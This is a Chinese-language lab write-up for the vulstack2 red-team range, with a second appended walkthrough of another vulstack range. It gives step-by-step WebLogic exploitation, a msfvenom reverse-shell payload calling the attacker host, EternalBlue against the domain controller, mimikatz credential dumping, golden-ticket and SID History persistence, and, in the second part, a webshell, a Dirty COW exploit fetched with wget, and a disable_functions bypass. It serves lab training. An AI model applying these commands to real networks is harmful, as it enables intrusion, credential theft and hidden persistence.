vulstack2 靶场做题笔记

Posted zinc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vulstack2 靶场做题笔记相关的知识,希望对你有一定的参考价值。

环境配置

  • DC
IP:10.10.10.10
OS:Windows 2012
  • WEB

默认初始密码登陆不进去,利用 de1ay/1qaz@WSX登陆

IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
  • pc
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
  • 攻击机

kali

ip:192.168.111.130

内网网段:10.10.10.0/24

DMZ网段: 192.168.111.0/24

管理员账号密码:Administrator/1qaz@WSX

先从WEB机开始,注意需要手动开启服务,在 C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可。

信息收集

假定我们现在有目标ip:192.168.111.80 然后我们现在要进行端口扫描,此时我们ping目标发现无法ping通,此时推测目标开启了防火墙

对于防火墙而言,除非特殊定义,否则全部ICMP消息包将被禁止通过防火墙(即不能使用ping命令来检验网络连接是否建立)。

nmap扫描

nmap -sS -sV 192.168.111.80
-sS 使用SYN半开式扫描
-sV 探测服务版本信息
SYN扫描:nmap向服务器发送一个syn数据报文,如果侦测到端口开放并返回SYN-ACK响应报文,nmap立即中断此次连接

或者直接

nmap -A -Pn -v -T4  192.168.111.80
-Pn 禁ping
-A 进行全面扫描(操作系统检测、版本检测、脚本检测和跟踪路由)
-T4 设置时序,级别越高速度越快
-v 显示更加详细的信息

相关信息

PORT      STATE SERVICE        VERSION
80/tcp    open  http           Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn\'t have a title.
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp  open  ms-sql-s       Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|_  Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-12T06:18:51
| Not valid after:  2053-04-12T06:18:51
| MD5:   1736 763c f611 574c 41f8 1914 2a6b 8b64
|_SHA-1: 7559 d877 1a13 24d7 4f13 441e e8f7 9479 9b89 954e
|_ssl-date: 2023-04-11T17:07:25+00:00; -14h20m00s from scanner time.
3389/tcp  open  ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: DE1AY
|   NetBIOS_Domain_Name: DE1AY
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: de1ay.com
|   DNS_Computer_Name: WEB.de1ay.com
|   DNS_Tree_Name: de1ay.com
|   Product_Version: 6.1.7601
|_  System_Time: 2023-04-11T17:06:44+00:00
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-10T15:56:11
| Not valid after:  2023-10-10T15:56:11
| MD5:   9913 8605 3705 7183 2758 6234 6632 d053
|_SHA-1: c00d 9c0a 0e09 7888 2339 74ef 66c5 9736 49d2 22b5
|_ssl-date: 2023-04-11T17:07:24+00:00; -14h20m01s from scanner time.
7001/tcp  open  http           Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
49156/tcp open  msrpc          Microsoft Windows RPC


OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: WEB
|   NetBIOS computer name: WEB\\x00
|   Domain name: de1ay.com
|   Forest name: de1ay.com
|   FQDN: WEB.de1ay.com

漏洞利用

很明显我们看到7001开放了weblogic服务,当然我们的基本素养就是知道7001端口是weblogc服务的默认端口,然后作为一个脚本小子肯定要用工具扫一下

用工具扫出来发现有 cve-2017-10271、cve-2019-2725漏洞

利用漏洞直接上传一个冰蝎木马

连接冰蝎

利用冰蝎直接反弹一个msf的shell,这里攻击机设置监听

然后利用集成的功能

上去之后我们意识到一个问题就是java维持的shell 没法getsystem,导致没法进一步利用,所以我们这里选择msf生成一个exe木马,上传到目标机器后再进一步利用

systeminfo 查看系统信息

也验证了我们之前端口扫描的 是一台x64机器 win2008r2

生成x64的exe木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=6667 -f exe > n.exe

然后直接利用刚才的shell传入目标机器,这里失误传到web目录了,不过无伤大雅

本地设置监听

use exploit/multi/handler
set payload payload/windows/x64/meterpreter/reverse_tcp
set lport 6667
run

然后利用虚拟机终端运行得到shell

这里的坑点是我之前运行的exe崩溃了,导致后续的exe用虚拟终端运行了而监听的地方没反应

这里也是成功上线了,但是我之前tasklist /svc的时候发现有360主动防御.exe,网上的一些文章说的是因为360的版本太低,没法杀死我的shell,后来发现这里是我没开启360,就先跳过这个免杀吧 ,后面补上。

进程迁移

有了shell之后简单的进行进程迁移,当前进程迁移到其他进程后 权限可能会根据进程权限而改变 可以找高权限的类似

这里我看这个是高权限的,然后就迁移了一下,莫名其妙获得了system权限,这里没搞懂,挖个坑。也不知道这个是不是真实的system权限

内网信息收集

确定是否是域环境

这里就很明显是了,而且hostname和whoami得到的前缀也不同

systeminfo

确定是域环境:域名为de1ay.com

查看路由表

这个的话就是可以大致得到一个网段的相关信息,以及可能存在的一些pc的ip,这里判断出192.168.111.0/24是外网的,10.10.10.0/24可能是内网的,我觉得dynamic的是要重点关注的

arp -a

网卡相关信息

ipconfig /all

这里我们看到10.10.10.0/24网段的dns服务器为10.10.10.10 极有可能就是域控服务器

查找域控服务器

一般为时间服务器

net time /domain

ping 一下域控,得到ip就是 10.10.10.10

域内主机

net view

我们知道是总共有三台机子的,pc dc web 但是我们这里只发现了dc和web两台机子

net view 这个命令可以查看网络计算机列表和共享的资源,具体的原因就是pc机器没有开启共享

我们到pc机里面看一下 确实是关闭了网络发现和文件、打印机共享

可以使用以下命令查看相应主机,但是吧,我们直接获得的就是域管理员的权限,所以能查看这个,当然相应的我们也可以去看其他的域内组,获得更多信息,至于为啥这里没有看到dc,因为dc机器属于域控制器了,在domain Controllers组里面

net group "domain computers" /domain 

域内用户

net user /domain

收集密码

前提是我们需要是一个system权限,这里我是迁移了一下

load_kiwi
creds_all

我们知道了 administrator mssql de1ay用户的密码都是1qaz@WSX

简单总结

  • 域名:de1ay
  • 域内主机: dc 10.10.10.10 pc:10.10.10.201 web:10.10.10.80 192.168.111.80
  • 域内用户:administrator de1ay guest krbtgt mssql

横向移动

内网扫描

arp扫描内网网段

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

扫描存活主机:

use auxiliary/scanner/smb/smb_version

这里不知道啥原因error了,不过结果应该和下面没太多区别

netbios做主机存货探测

use auxiliary/scanner/netbios/nbname

这里由于pc机开启了防火墙,所以无法探测到其存活

icmp协议探测

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

也是防火墙的原因,没探测到201机器的存活

总之经过以上的探测我们知道了,10.10.10.0/24网段中存在三台主机

  • 10.10.10.10-DC
  • 10.10.10.80-WEB 也就是当前机器
  • 10.10.10.201 推测的话就是PC机器了,因为域内主机有一台是pc 和web

版本扫描

这里还用了smb_version,我推测的话就是扫网段的话用的netbios,对单个目标的话的话就是smb扫描

use auxiliary/scanner/smb/smb_version

这里也是可以知道pc是win7,dc是2012 r2

永恒之蓝

  • DC机器

这里注意使用bind_tcp

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 10.10.10.10
run

这里直接获得shell

  • PC机器

同样的攻击方式没有成功,猜测是因为存在防火墙and 360

psexec

use windows/smb/psexec

这里psexec没通,不知道为啥,密码的话已经不是1qaz@WSX了,因为登陆了dc机器后密码策略改了

权限维持

黄金票据

黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。

条件:

1.域名称

de1ay.com

2.域的SID值

wmic useraccount get name,sid

S-1-5-21-2756371121-2868759905-3853650604

3.域的KRBTGT账户NTLM密码哈希

hashdump

82dfc71b72a11ef37d663047bc2088fb

4.伪造用户名

admin

利用kiwi生成黄金票据

golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u admin -t /home/zinc/admin.ticket

然后使用

kerberos_ticket_use /home/zinc/admin.ticket

SID History域后门

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

首先我们在域控制器上新建一个恶意用户“whoami”:

net user whoami test123 /add

然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中

privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator   //将Administrator的SID添加到whoami的SID History属性中

注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

load powershell
powershell_shell
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory

那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。

简单总结

总体流程的话采用信息收集->漏洞利用,好像中间并没有涉及太多隧道搭建的东西,因为都用的msf,所以直接用msf+路由然后处理的,对于360的免杀也没有太多考量,可能是版本太低,没触发?所以后来我干脆用msf+多重编码+捆绑的方法简单免杀了,后续如果学习更多免杀的话再补上吧,总体下来感觉内网部分和1没有啥区别

参考资料:

vulstack红队评估

一、环境搭建:
①根据作者公开的靶机信息整理
没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件
 
②虚拟机网卡设置
centos双网卡模拟内外网:
外网:192.168.1.110
内网:192.168.93.100
 
其他主机都是内网,仅主机模式:
内网:192.168.93.0/24
技术图片
所有虚拟机默认挂起状态,开启就已经登陆了,配置好网卡后,互相ping测试一下,网络环境没问题就可以进行下一步了。
 
 
二、web层渗透:
0x01 前期信息收集:
①端口、服务探测
nmap 192.168.1.110 -T4 -A -sV
开启了80、22、3306端口,入手点就挺多了(ssh爆破、mysql爆破、http服务的web漏洞挖掘getshell等等...)
技术图片

 

访问了一下80端口的http服务,是joomlaCMS搭建的
技术图片

 

②站点扫描:
1.直接使用joomscan扫描一下
joomscan -u http://192.168.1.110/
 技术图片
 
发现版本为3.9.12,比较高,不太好搞...
技术图片

 

2.发现两个比较重要的目录
后台登陆页面:
技术图片

 

 

配置文件泄露:testuser / cvcvgjASD!@
技术图片

 

 
0x02 漏洞利用getshell:
①尝试远程连接mysql,获取后台管理员密码
根据nmap的信息,扫描出3306是开放的,利用navicat连接一下,很顺利地连接上了
技术图片
 
 
找到管理员user表,发现密码是加密的,具体怎么加密的不清楚,尝试解密,失败...
技术图片

 

 

②添加后台管理员
因为joomlaCMS可以直接后台模板getshell,所以得想办法进入后台,但是默认的管理员用户密码又是未知的,那么我是不是可以直接往user表里面添加一个管理员?然后登陆不就好了吗,开始吧...
 
通过百度、谷歌大法,发现了官方的说明文档:
技术图片

 

 

根据官方文档,添加一个admin2 / secret 的管理员,注意修改表前缀
技术图片

 

可以看到已经添加成功了
技术图片

 

 

利用新添加的管理员进行登陆,登陆成功
技术图片

 

③模板getshell
技术图片
 
 
点击New File,新建文件:
技术图片

 

输入文件名:
技术图片
 
写入一句话木马:
技术图片

 

利用蚁剑连接webshell:
技术图片

 

 
0x03 提权与本机信息收集
①bypass disable_functions
尝试执行命令,返回ret=127,毫无疑问就是disable_functions的限制了
技术图片
 
通过phpinfo发现禁用了如下函数,目标是linux,并且没有禁用putenv函数,所以可以利用LD_PRELOAD绕过
技术图片

 

把bypass_diablefunc.php和bypass_diablefunc_x64.so一并上传到同一目录,.so文件需要根据目标系统架构选择,然后访问bypass_diablefunc.php,poutpath必须是可写目录,构造如下payload:
http://192.168.1.110/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/panda&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so
技术图片

 

查看ip信息,发现ip并不是centos的,看了下应该是ubuntu的,说明真正的web服务后端是在ubuntu上,通过centos做了个nginx反向代理解析到Ubuntu上了(百度了解了一下)
技术图片
 
分析:当前ubuntu的权限太低...并且内核很高,不好提权,想执行socks代理的程序,都成问题,并且ubuntu是不出网的,那么我有没有办法拿到centos的权限呢?既然做了反代,那么我能否看一下bash历史记录,找到一些遗漏的信息呢?(结果不行..),然后就各种配置文件找、有权限看的文件都看一下,想找到有泄露的信息
技术图片

 

 

②敏感文件泄露
最终在tmp目录下找到了个test.txt文件直接给出了一个用户和密码:
技术图片

 

 

直接登陆centos,成功....
技术图片

 

 

③脏牛提权
想要继续横向移动,最好就是能利用跳板机搭建socks代理,所以权限得够,查看centos的内核,发现在脏牛影响的范围内:
技术图片

 

wget下载exp,并赋予执行权限
技术图片

 

编译并执行exp
技术图片

 

提权成功
技术图片
 
 
 
0x04 横向移动
①msf上线
我这里使用web_delivery模块上线
技术图片
 
 
目标主机上执行msf给出的命令即可上线
技术图片
 
 
②添加路由
技术图片

 

③存活主机探测
技术图片

 

发现3台windows,并且存在TEST域环境
技术图片

 

④直接继续爆破smb
注意密码字典的格式为:用户名 密码
技术图片

 

⑤使用psexec登陆win2008
技术图片
 
注意payload为bind直连:
技术图片

 

然后将mterpreter会话迁移到一个64位进程中,加载mimikatz,然后抓取到域管的明文密码:zxcASDqw123!!
技术图片

 

ntlm hash拿来备用
技术图片

 

⑥拿下域控:
1.通过ipconfig定位到dns服务器为192.168.93.10,域名为test.org,一般dns服务器就是域控
技术图片

 

2.开启socks5代理:
技术图片

 

3.proxifier开启代理
技术图片

 

4.将psexec.exe添加代理规则
技术图片

 

5.利用psexec拿到域控shell
技术图片
 
 
6.查找那份重要的文件,猜测为flag.txt
技术图片

 

成功获取flag
技术图片

 

 

0x05 总结
①joomscan的使用,joomlaCMS后台模板getshell
②利用LD来bypass disable_functions
③拿到shell后的本机敏感文件收集
④脏牛提权+msf web_delivery上线
⑤使用msf进行横向移动,smb_version主机探测+smb爆破
⑥msf中psexec获取目标shell,mimikatz抓取域管明文密码
⑦msf搭建socks5代理+proxifier代理psexec进目标内网
⑧使用impacket下的psexec获取到域控的shell
 

以上是关于vulstack2 靶场做题笔记的主要内容,如果未能解决你的问题,请参考以下文章

iwebsec靶场 SQL注入漏洞通关笔记13-二次注入

iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过

iwebsec靶场 SQL注入漏洞通关笔记10- 双重url编码绕过

Vulnhub靶场JANGOW: 1.0.1

攻防世界:web fakebook(高质量靶场)

upload-labs-master文件上传漏洞靶场详解(1-17)